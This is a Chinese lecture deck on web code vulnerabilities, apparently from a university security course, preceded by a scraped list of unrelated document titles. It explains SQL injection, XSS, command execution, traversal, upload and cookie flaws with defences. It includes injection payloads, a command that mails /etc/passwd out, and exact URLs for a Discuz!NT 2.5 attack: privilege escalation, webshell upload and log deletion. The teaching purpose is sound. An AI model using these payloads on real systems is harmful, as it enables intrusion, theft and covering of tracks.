PowerPoint Presentation

Similar documents
Microsoft PowerPoint web编程常见漏洞与检测.pptx

XXXXXXXX

epub 61-2

一 個 SQL Injection 實 例 的 啟 示 頁 2 / 6 因 此, 在 知 名 網 站 上 看 到 SQL Injection, 讓 人 驚 心, 卻 不 意 外 網 站 專 案 外 包 是 目 前 業 界 的 常 態, 而 在 價 格 取 勝 的 制 度 下, 低 價 得 標 的 S

渗透测试攻击技术之 SQL 注入攻击 亿诚测试 培训教材 Jerry 出品 邮箱

11 天 山 区 区 环 卫 清 运 队 机 械 工 程 师 4011 C 1 不 限 不 限 机 电 具 有 两 以 工 作 经 12 天 山 区 乌 鲁 木 齐 市 第 15 小 会 计 4012 C 1 不 限 不 限 会 计 财 会 财 电 算 化 临 床 医 预 防 医 公 共 卫 生 与

天津天狮学院关于修订2014级本科培养方案的指导意见

职 位 类 别 : 测 试 工 程 师 工 作 经 验 或 实 习 经 历 : 不 限 岗 位 要 求 : 1. 本 科 及 其 以 上 学 历, 计 算 机 相 关 专 业 2014 届 毕 业 生 ; 2. 实 习 时 间 要 求, 尽 量 一 周 五 个 工 作 日 ; 3. 熟 悉 Wind

南華大學數位論文

软 件 工 程 专 业 习 指 南 目 录 一 软 件 工 程 专 业 设 置 背 景 与 发 展 前 景... 3 二 软 件 工 程 专 业 实 践 教 条 件... 4 三 软 件 工 程 专 业 课 程 类 型 及 核 方 式 软 件 工 程 专 业 课 程 类 型...7

帝国CMS下在PHP文件中调用数据库类执行SQL语句实例

目录

SDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 "odps-sdk" 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基

Asprain论坛的特色

序 言 本 专 业 人 才 培 养 方 案 以 适 应 市 场 需 求 为 目 标, 根 据 学 校 校 企 双 主 体 人 才 培 养 的 要 求 和 移 动 应 用 开 发 专 业 的 特 点 设 置 课 程 体 系, 体 现 了 课 程 为 市 场 服 务 的 特 点 本 专 业 要 求 学

温州市政府分散采购

Microsoft Word - 10 练坤梅.doc

untitled

WebSphere Studio Application Developer IBM Portal Toolkit... 2/21 1. WebSphere Portal Portal WebSphere Application Server stopserver.bat -configfile..

<4D F736F F D20C9EEDBDACAD0BAA3D4C2CDA8D0C5B6AFCCACC3DCC2EBBDE2BEF6B7BDB0B82E646F63>

上海市教育考试院关于印发新修订的

untitled

ebook71-8

目 錄 第 一 章 weberp 簡 介... 6 第 一 節 概 述... 6 第 二 節 安 全 性... 7 第 三 節 功 能... 7 一 銷 售 及 訂 單... 7 二 稅... 8 三 應 收 帳 款... 8 四 存 貨... 8 五 購 買... 9 六 應 付 帳 款... 9


Microsoft Word - WebGoat用户指南-beta2.doc

SiteView技术白皮书

SQL Server SQL Server SQL Mail Windows NT

PowerPoint 演示文稿

1. 概 述 1.1 扫 描 对 象 序 号 1 IP 地 址 域 名 1.2 漏 洞 等 级 分 布 风 险 类 型 数 量 高 风 险 1 中 风 险 5 低 风 险 4 信 息 类 4 7% 29% 高 风 险 36% 中 风 险 低 风

Microsoft Word 级第二专业学士学位培养计划.doc

<4D F736F F D D352DBED6D3F2CDF8D7E9BDA8D3EBB9DCC0EDCFEEC4BFBDCCB3CCD5FDCEC42E646F63>


学 院 人 才 培 养 分 项 自 评 报 告 结 果 汇 总 表 主 要 评 估 指 标 关 键 评 估 要 素 自 评 等 级 1.1 学 校 事 业 发 展 规 划 合 格 1. 领 导 作 用 1.2 办 学 目 标 与 定 位 合 格 1.3 对 人 才 培 养 重 视 程 度 合 格 1

掘 金 安 全 数 据 腾 讯 安 全 数 据 运 营 实 践 江 虎 (xti9er)

软件概述

ChinaBI企业会员服务- BI企业

营 销 策 划 岗 部 门 招 聘 职 位 招 聘 人 数 岗 位 职 责 基 本 要 求 岗 位 任 职 要 求 6 参 与 项 目 产 品 研 究 客 户 需 求 研 究 竞 争 环 境 研 究 价 格 研 究 等 项 目 市 场 研 究 ; 7 公 司 经 纪 业 务 的 品 牌 管 理, 对

1.JasperReport ireport JasperReport ireport JDK JDK JDK JDK ant ant...6

1. ( B ) IT (A) (B) (C) (D) 2. ( A ) (A) (B) (C) (D) 3. ( B ) (A) GPS (B) GIS (C) ETC (D) CAI 4. ( D ) (A) (B) (C) (D) 5. ( B ) (Stored Program) (A) H

13 根 据 各 种 网 络 商 务 信 息 对 不 同 用 户 所 产 生 的 使 用 效 用, 网 络 商 务 信 息 大 致 可 分 为 四 级, 其 中 占 比 重 最 大 的 是 ( A ) A 第 一 级 免 费 信 息 B 第 二 级 低 收 费 信 息 C 第 三 级 标 准 收 费

附表2:

1. 2. Flex Adobe 3.

06 C H A P T E R 6-1 WWW 6-2 WWW WWW WWW

HTML5安全问题

untitled

NIIT APP T ECH,,,,,, C++ : C++, C++,,, C++,,,,, : ,,,, ;,, ( CIP) C++ /,,. :, (21.) ISBN C..

镇江市行政审批事项申报材料清单

FileMaker 15 WebDirect 指南

ebook4-12

2 Requirements Documentation Doc Name Doc No. 1.0 Version No. Total Page Generated By V6.0.0 Generated Date 2011/10/21 Checked By Checked Date 2011/10

四川省普通高等学校

untitled

计算机软件技术专业教学计划

电信行业网上营业厅

《C#基础入门》课程教学大纲

Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.

Microsoft Word - SPEC

ABSSetup.doc

untitled

.. 3 N

Microsoft Word 样章.dot

0SQL SQL SQL SQL SQL 3 SQL DBMS Oracle DBMS DBMS DBMS DBMS RDBMS R DBMS 2 DBMS RDBMS R SQL SQL SQL SQL SELECT au_fname,au_ lname FROM authors ORDER BY

4-4

1 IT IT IT IT Virtual Machine, VM VM VM VM Operating Systems, OS IT

WEB 安全测试 开发人员的疏忽 黑客会尝试每个页面 每个功能 测试人员测试每个页面 每个功能 安全测试就是黑客

untitled

PowerPoint Presentation

專業式報告

untitled


本 课 程 作 为 非 计 算 机 专 业 本 科 通 识 课 程, 是 一 门 理 论 和 实 践 紧 密 结 合 的 实 用 课 程, 内 容 包 括 计 算 机 基 础 部 分 和 程 序 设 计 部 分 计 算 机 基 础 部 分 涵 盖 计 算 机 软 硬 件 组 成 数 制 表 示 操

附件2

目 錄 摘 要...Ⅰ 第 一 章 簡 介 簡 介 研 究 動 機 研 究 目 的 文 獻 探 討...4 第 二 章 電 腦 犯 罪 之 定 義 網 路 犯 罪 分 析 電 腦 網 路 犯 罪 的 特

快 速 入 门 (Linux) 概 述 文 档 目 的 本 文 档 介 绍 了 如 何 快 速 创 建 Linux 系 统 实 例 远 程 连 接 实 例 部 署 环 境 等 旨 在 引 导 您 一 站 式 完 成 实 例 的 创 建 登 录 和 快 速 环 境 部 署 云 服 务 器 ECS 实

6-1 Table Column Data Type Row Record 1. DBMS 2. DBMS MySQL Microsoft Access SQL Server Oracle 3. ODBC SQL 1. Structured Query Language 2. IBM

目 录 第 五 部 分 第 六 部 分 第 七 部 分 第 八 部 分 投 标 邀 请 投 标 人 须 知 附 表 评 标 方 法 和 评 分 细 则 项 目 需 求 和 技 术 方 案 要 求 1

“百企入校——广西青年企业家协会高校

目錄

附 件 : 2009 年 度 国 家 精 品 课 程 名 单 一 本 科 国 家 精 品 课 程 ( 以 学 科 为 序, 共 400 门 ) 序 号 一 级 学 科 二 级 学 科 课 程 名 称 学 校 名 称 负 责 人 1 哲 学 哲 学 类 马 克 思 主 义 伦 理 学 安 徽 师 范

User Group SMTP

<4D F736F F D20C9CFBAA3CAD0BCC6CBE3BBFAB5C8BCB6BFBCCAD4C8FDBCB6BFBCCAD4B4F3B8D95FBDA8D2E9B8E55F5F E646F63>

投影片 1

SP_ SP_03 JAVA...6 SP_10 SQL...8 SP_ SP_ SP_ SP_ SP_ SP_ SP_ SP_04.NET...33 SP_02 C...37 SP_05

投影片 1


Microsoft Word - PHP7Ch01.docx

1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 ->

ebook70-11

Microsoft Word - 13院21号.doc

C6_ppt.PDF

优迈科技教学大纲2009版本

1 情 况 综 述 2016 年 3 月, 全 省 公 共 互 联 网 网 络 安 全 状 况 整 体 评 价 为 良 本 月, 我 省 互 联 网 基 础 设 施 运 行 平 稳, 全 省 范 围 内 未 发 生 造 成 重 大 影 响 的 基 础 设 施 运 行 安 全 事 件, 未 发 生 网

全 国 高 等 职 业 教 育 规 划 教 材 21 世 纪 高 职 高 专 规 划 教 材 系 列 高 等 职 业 教 育 计 算 机 专 业 规 划 教 材 选 题 征 集 通 知 一 选 题 范 围 ( 不 仅 限 于 此 ) 选 题 方 向 选 题 名 计 算 机 基 础 计 算 机 应 用

013 機 械 相 關 科 系 畢, 對 銑 削 加 工 中 心 機 有 興 機 器 組 裝 人 員 協 銳 精 密 工 業 股 趣, 具 高 度 工 作 熱 忱 者 份 有 機 械 相 關 科 系 畢, 邏 輯 思 考 能 力 佳, 抗 壓 電 控 設 計 組 裝 人 員 性 高, 肯 接 受 挑

OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数

Microsoft Word - InoTouch Editor编程软件手册 doc

最 佳 做 法 : 在 需 要 时 或 需 要 前 从 CDN 下 载 内 容, 并 使 它 们 与 Flash 代 码 和 文 件 分 离 存 盘 率 vs 响 应 速 度 当 用 户 玩 游 戏 时, 客 户 端 可 以 把 每 一 个 变 化 实 时 写 到 后 端 Web 服 务 器, 也

Microsoft Word - 书目文件.doc

FileMaker 15 ODBC 和 JDBC 指南

Transcription:

Web 代码漏洞 程绍银 sycheng@ustc.edu.cn

大纲 Web 漏洞种类 防范措施 检测方法 2

Web 漏洞种类 3

常见的 web 漏洞 sql 注入 (SQL injection) XSS 攻击 (CSS or XSS, Cross Site Scripting) 远程命令执行 (Code execution) 目录遍历 (Directory traversal) 文件上传 (File inclusion) cookie 欺骗文件包含 (File inclusion) 其他

Web 漏洞检测 白盒检测对检测者的要求 : 能读懂用此语言写的程序 明白漏洞成因 漏洞挖掘经验常用的 web 脚本语言 :Asp/Php/Jsp/asp.net

Sql 注入及其危害 所谓 SQL 注入, 就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的 SQL 命令 通过递交参数构造巧妙的 SQL 语句, 从而成功获取想要的数据 危害 -- 非法查询其他数据库资源, 如管理员帐号 -- 执行系统命令 -- 获取服务器 root 权限

Sql 注入类型 主要分为字符型注入和数字型注入, 由于编程语言不同, 所存在的注入类型也不同 SQL 查询语句中, 数据类型的语法有三种 : 数字型 : SELECT 列 FROM 表 WHERE 数字型列 = 值 字符型 : SELECT 列 FROM 表 WHERE 字符型列 = 值 搜索型 : SELECT * FROM 表 WHERE where 被搜索的列 like % 值 % 7

Sql 注入原理 Test.asp 文件代码片段 : sqlstr = select * from n_user where username= &username& and password= &password& rs = conn.execute(sqlstr) 正常的查询 :test.asp?username=test&password=123 sqlstr = select * from n_user where username= test and password= 123 异常的查询 : 使 password=123 or 1 = 1: Sql 语句到数据库后 : sqlstr = select * from n_user where username= test and password= 123 or 1 = 1 Or 1 = 1 始终成立

9

XSS( 跨站脚本攻击 ) 跨站脚本攻击 ( 通常简写为 XSS) 是指攻者利用网站程序对用户输入过滤不足, 输入可以显示在页面上对其他用户造成影响的 HTML 代码, 从而盗取用户资料 利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式 危害 : 盗取用户 cookie Xss 蠕虫 挂马, 结合 xss 蠕虫, 危害巨大

XSS( 跨站脚本攻击 ) 例如, 一个没有经过安全设计并实现的论坛, 当你在跟贴时在正文输入这样的代码 : <script>alert(document.cookie);</script> 当其它用户浏览时便会弹出一个警告框, 内容显示的是浏览者当前的 cookie 串 试想如果我们注入的不是以上这个简单的测试代码, 而是一段经常精心设计的恶意脚本, 当用户浏览此帖时,cookie 信息就可能成功的被攻击者获取 11

Xss 防范 对用户输入数据编码 : Asp:server.htmlencode 函数 Php:htmlspecialchars 函数 asp.net:httpcontext.current.server.htmlenc ode jsp: 默认没有提供过滤方法, 需要自写方法 过滤危险的 html 关键字符 : 比如 :script/iframe 等

XSS 检测 搜索关键字 Asp:request/ Php:$_GET/$_POST/$_COOKIE/$_SERVE R Jsp:request.getParameter/ request.getcookies Asp.net:Request.QueryString/Form/Cookies/ SeverVaiables/

一篇论文 A. Kiezun, P. J. Guo, K. Jayaraman, and M. D. Ernst, "Automatic creation of SQL injection and cross-site scripting attacks," MIT Computer Science and Artificial Intelligence Laboratory MIT-CSAIL-TR- 2008-054, September 10 2008. XSS sql-inject 14

sql-inject 15

XSS 16

XSS 17

XSS 18

论文中的例子 19

20

21

22

23

Sql 注入对于不同语言的表现 Asp 表现 Php 表现 Jsp 表现 Asp.net 表现 24

Asp 表现 存在数字型和字符型注入 (A) 数字型字段 =51 Select * from 表名 where 字段 =51 构造参数 :ID=49 And [ 查询条件 ] 生成语句 :Select * from 表名 where 字段 =49 And [ 查询条件 ] (B) 字符型的另一种形式搜索语句 :Select * from 表名 where 字段 like % 关键字 % 构造参数 :keyword= and [ 查询条件 ] and %25 = 生成语句 :Select * from 表名 where 字段 like % and [ 查询条件 ] and % = %

Asp 注入的预防 对于用户端输入的任意字符, 包括 GET 提交,POST 提交,Cookie 提交,SERVER 提交的都需要做严格过滤对于数字型参数判断是否为数字 : 可用函数 isnumeric 来判断, 返回值为 true 和 false 对于字符型参数过滤单引号, 使其无法闭合当前 sql 语句的单引号例外 :base64 编码 Sql 通用防注入

Php 中的表现 Php 的魔术引号 (magic_quotes_gpc ) 魔术引号是一个自动将进入 PHP 脚本的数据进行转义的过程 当打开时, 所有的 ( 单引号 ), ( 双引号 ),\( 反斜线 ) 和 NULL 字符都会被自动加上一个反斜线进行转义 php.ini-dist 默认是开启此功能 如果安装 php 时使用此文件, 将不会产生字符型注入, 主要是数字型注入 数字型注入 : select * from guess where id=.$id. select * from guess where id=$id

GPC 不起作用的情况 数组 $userid=$_post[userid']; for($i=0;$i<count($ userid);$i++){ $query= select * from user where i_hid='".$ userid[$i]."'"; 编码函数引起 base64_decode,base64 编码后的单引号 :Jw== mysql 处理 GBK 编码字符 %bf%27 导致单引号被绕过的问题 其他数据库, 如 ms sql 对于转义符反斜杠作为字符处理的 select * from test where title ='aaa\' or '1'='1

Php 注入的预防 ( 一 ) 确认 GPC 开启, 若没开启则用 addslashes 函数过滤之, 如下代码 if (!get_magic_quotes_gpc()) { $lastname = addslashes($_post['lastname']); } else { $lastname = $_POST['lastname']; } 对于数字型参数可使用 intval 或 floatval 强制转换为数字型 注意 mysql 的版本以及默认字符集,Mysql>4.1 字符集连接字符串 : mysql_query("set character_set_connection=$dbcharset, character_set_results=$dbcharset, character_set_client=binary;");

Php 注入的预防 ( 二 ) Php5 以上版本 Mysqli 扩展预防, 参数化查询 $city = "Amersfoort"; /* create a prepared statement */ $stmt = $mysqli->prepare("select District FROM City WHERE Name=?") $stmt->bind_param("s", $city); $stmt->execute(); $stmt->bind_result($district); $stmt->fetch(); printf("%s is in district %s\n", $city, $district); $stmt->close(); }

Jsp 表现 由于 java 语言是强类型语言, 所有变量定义前必须声明其类型, 因而仅存在字符型的注入 字符型注入实例 : String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'"; stmt = conn.preparestatement(sql); 构造参数 varpasswd 值为 :' or '1' = '1 Sql 语句经过解析后将是 : select * from tb_name = ' 随意 ' and passwd = '' or '1' = '1';

Jsp 预防 采用 jdbc 的 preparestatement 查询数据库, 并且 sql 语句中不出现参数, 如 : sqlstr = select id from info where city=? and open=? order by id desc ; stmt = conn.preparestatement(sqlstr); stmt.setstring(1,city); stmt.setstring(2,var1);

Asp.net 表现 开发语言常用的有 :vb.net 和 C#, 都属于强类型语言, 因而只存在字符型注入 注入原理, 与 asp 的字符型注入一样

Asp.net 注入预防 使用 Ado.net 的参数化查询 strsql = "SELECT * FROM Orders WHERE CustomerID = @CustomerID"; SqlCommand cmd = new SqlCommand(strSQL, cn);// 创建一个 sqlcommand 对象 // 创建新参数, 参数绑定 cmd.parameters.addwithvalue("@customerid", "ALFKI");

sql 注入的检测简单流程 获取源码 Sql 语句一样, 查询方法也一样 Asp/Php Jsp/asp.net 反编译 搜索 sql 查询语句存在变量语句 Select/update/insert/delete 查找变量来源 / 是否过滤 过滤函数是否安全 存在注入与否

SQL 注入的实例 SQL 注入 一般存在于 http://xxx.xxx.xxx/abc.asp?id=xx 等带有参数的动态网页 没有对外界输入进行必要的过滤 原理不赘述, 以一个例子来说明 36

SQL 注入漏洞和攻击的例子 Sql 注入漏洞 网页挂马 http://www.educity.cn/labs/648627.html 运行平台 Windows 2003 Server( 自带 IIS 6.0) SQL Server 2005 Discuz!NT 2.5 37

漏洞起因 漏洞是由 showuser.aspx 文件引起的, 该文件的作用是显示论坛的会员列表 由于脚本中对于用来用户排序的 ordertype 参数未经过滤而直接查询数据库, 攻击者可以通过精心构造的 ordertype 参数进行数据库的写操作 38

漏洞出错提示 39

漏洞触发路径 40

漏洞代码分析 41

漏洞修复分析 42

漏洞攻击步骤 新建一个普通用户账号 infosec 将 infosec 提升为管理员权限 http://localhost/showuser.aspx?ordertype=desc;update dnt_users set adminid='1',groupid='1' where username='infosec';-- 更改上传格式 :jpg aspx http://localhost/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='aspx' where extension='jpg';-- 通过附件上传网页木马获得 webshell 43

漏洞攻击步骤 清除痕迹 http://localhost/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='jpg' where extension='asp';-- http://localhost/showuser.aspx?ordertype=desc;delete from dnt_adminvisitlog where username='hacker';-- http://localhost/showuser.aspx?ordertype=desc;update dnt_users set adminid='',groupid='' where username='hacker';-- 44

获得 webshell 45

远程命令执行 (code execution) 通过用户浏览器客户端传送一个命令串给 Web server,web server 通过调用 shell 来执行传过来的命令 如果我通过浏览器客户端强行传送一个 :restart, shutdown 之类的命令给 server, 结果会是什么样子? 结果只是破坏 如果我传送一个 :mail abc@abc.abc </etc/passwd, 执行结果是什么? 结果是将 linux 系统的 passwd 文件 (linux 系统用户信息 ) 发送到指定的邮箱 abc@abc.abc 46

远程命令执行漏洞防范 严格限制运行 Web 服务的用户权限 就是说你的 Web 应用可以访问你的服务器系统的用户权限 一般情况一下, 我们应该以白名单的形式介定 Web 应用可以访问服务器系统的权限 这样控制可以从系统级达到安全防范的效果 严格执行用户输入的合法性检查 注意这里的输入不一定是你通过表单从键盘输入, 往往是 Web 应用已经内定了某一些操作供您选择, 而此时你可以通过 Http 抓包的方式获取 Http 请求信息包经改装后重新发送 47

目录遍历 (Directory traversal) 例如 :love.ah163.net 上有网络硬盘服务, 当注册用户登录并开通网络硬盘服务后, 即可进入自己的硬盘管理界面, 我们来看看它是如何进入某一个目录的, 以下是进入某一目录的 URL: http://love.ah163.net/personal_spaces_list.php?dir=my Folder 那现在我把这个 URL 改装一下 : http://love.ah163.net/personal_spaces_list.php?dir=../.. /../../../../../../../../../../../usr/local/apache/conf/ 在浏览器里运行它, 会是什么结果呢? 48

目录遍历 (Directory traversal) 结果是 :/usr/local/apache/conf/ 里的所有文件都老老实实的列出来了, 通过这种方式, 你可以发挥你的想象了, 服务器上的东东是不是都差不多可以列出来了? 告诉你, 还可以随便下载呢! 简要的解决方案 : 限制 Web 应用在服务器上的运行 进行严格的输入验证, 控制用户输入非法路径 49

文件上传漏洞 利用当前系统已有的上传功能, 比如文件上传, 图像上传等的漏洞来上传任意文件或者 webshell 危害 : 直接上传 webshell 到服务器, 甚至获取服务器 root 权限 各种语言表现大同小异

Asp 上传漏洞表现 经典的 \0 上传任意后缀文件假设 :filename="c:\nc.exe.bmp" N C. E X E (Nul). B M P 4E 43 2E 45 58 45 00 2E 42 4D 50 Check the file extension if right(tfile,4) <>.bmp then exit sub tfile=tfile &".bmp" Set FSO = Server.CreateObject("Scripting.FileSystemObject") Set FSOFile= FSO.CreateTextFile(FSO.BuildPath(Path, tfile))

Asp 上传漏洞预防 / 检测 检查文件名是否包含 \0 字符 采用白名单方式允许上传文件类型 检测关键字 : Scripting.FileSystemObject/ADODB.Stream

Php 上传漏洞表现 $imageinfo = getimagesize($_files['userfile']['tmp_name']); if($imageinfo['mime']!= 'image/gif' && $imageinfo['mime']!= 'image/jpeg') { if($_files['userfile']['type']!= "image/gif") { echo 仅允许上传 GIF 和 JPEG 图片 \n"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir. basename($_files['userfile']['name']); if (move_uploaded_file($_files['userfile']['tmp_name'], $uploadfile)) { echo 文件上传成功.\n"; } else { echo 上传失败.\n"; }

Php 上传漏洞预防 / 检测 检查上传文件名中是否存在.php 字符 采用白名单, 仅允许安全的类型, 如 gif/jpg/rar 等, 禁止用户自定义文件后缀 检测关键字 : move_uploaded_file/is_uploaded_file/copy

Jsp 文件上传漏洞 / 预防 / 检测 后缀检查不严引起的上传任意文件, 主要为 jsp 和 war 后缀文件 采用白名单严格限制上传类型 检测方法 : File/SmartUpload( 常用的一个 jsp 开源上传组件 ) 至 /WEB-INF/lib/ 目录下查看相关 upload 字样的类库, 作为关键字搜索

Asp.net 文件上传漏洞 / 预防 / 检测 Asp.net 自身提供有上传组件, 但默认上传任意后缀文件 IIS 默认解析的后缀名都是不安全的, 采用白名单方式上传文件 检查关键字 : PostedFile.FileName/FileUpload

Cookie 欺骗攻击 Cookie:Web 服务器存放在客户端计算机的一些信息, 主要用来客户端识别或身份识别等 Session, 保存在服务器端的 Cookie 欺骗攻击 : 攻击者通过修改存放在客户端的 cookie 来达到欺骗服务器认证目的 修改工具 :IECookiesView

Cookie 攻击原理 If( 登录验证过程 ){ setcookie("isadmin,1,time()+3600*24*30); }// 登录成功, 写入 cookie, 一个月后失效, 用于下次登录 $admin= $_COOKIE[ isadmin"]; if($admin){ echo 已经登录 ; }else{ echo 请重新登陆 ;} // 没对 cookie 有效性进行验证, 导致 cookie 欺骗产生

Cookie 欺骗预防 禁用 cookie, 采用 session 一般适合 web 系统安全性要求比较高的情况下 后台管理等 增加多参数验证 cookie 有效性 如验证访问者 ip 是否与上次 IP 一样等

Cookie 欺骗检测 关键字检测 Asp: Response.Cookies/Request.Cookies Php: Setcookie/$_COOKIE/$HTTP_COOKIE_VARS Jsp: response.addcookie /request.getcookies Asp.net: response.cookies/request.cookies

Php 文件包含漏洞 Php:include/require / include_once /require_once 函数使用时参数没有限制导致可以包含远程文件或者本地文件 Php4 存在远程 & 本地,php5 仅存在本地包含 检测 : include/require/include_once /require_once 其他语言表现

其他漏洞检测 信息泄露 权限验证不严 仅仅罗列了一些常见的漏洞情况, 实际上检测难度将比这个代码复杂的多了, 这就要求我们对程序有足够的了解

小结 了解常见的 web 代码漏洞 Sql 注入漏洞 63

实验 对 Discuz!NT 2.5 软件 showuser.aspx 页面未检查 ordertype 变量的漏洞进行测试 环境安装 ( 除了被测软件, 其他可有所变化 ) 操作系统 :Windows 2003 Server( 自带 IIS) 数据库 :SQL Server 2005 Discuz!NT 版本 :2.5 一般安装在虚拟机中 漏洞测试 用户提权 更改上传格式 获得 Webshell 清除痕迹 64